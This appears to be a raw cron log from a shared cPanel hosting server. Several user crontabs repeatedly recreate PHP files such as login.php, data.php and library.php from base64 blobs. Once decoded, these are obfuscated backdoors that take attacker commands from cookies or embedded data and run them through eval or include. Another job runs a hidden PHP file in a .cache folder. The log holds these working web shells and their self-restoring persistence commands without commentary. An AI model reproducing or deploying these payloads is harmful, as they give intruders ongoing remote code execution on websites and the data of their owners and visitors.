Mar  2 14:10:02 medusa CROND[22488]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:10:02 medusa CROND[22479]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 14:10:02 medusa CROND[22493]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:10:02 medusa CROND[22463]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 14:10:02 medusa CROND[22504]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:10:02 medusa CROND[22472]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 14:10:02 medusa CROND[22518]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:11:01 medusa CROND[10828]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:11:01 medusa CROND[10890]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:11:01 medusa CROND[10923]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:11:01 medusa CROND[10926]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:11:01 medusa CROND[10927]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:11:01 medusa CROND[10925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:11:01 medusa CROND[10932]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:11:01 medusa CROND[10930]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:11:01 medusa CROND[10935]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:11:01 medusa CROND[10934]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:11:01 medusa CROND[10936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:11:01 medusa CROND[10941]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:11:01 medusa CROND[10945]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:12:01 medusa CROND[29304]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:12:01 medusa CROND[29373]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:12:01 medusa CROND[29601]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:12:01 medusa CROND[29605]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:12:01 medusa CROND[29610]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:12:01 medusa CROND[29613]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:12:01 medusa CROND[29614]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:12:01 medusa CROND[29611]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:12:01 medusa CROND[29612]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:12:01 medusa CROND[29616]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:12:01 medusa CROND[29615]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:12:01 medusa CROND[29608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:12:01 medusa CROND[29637]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:12:01 medusa CROND[29638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:13:01 medusa CROND[15492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
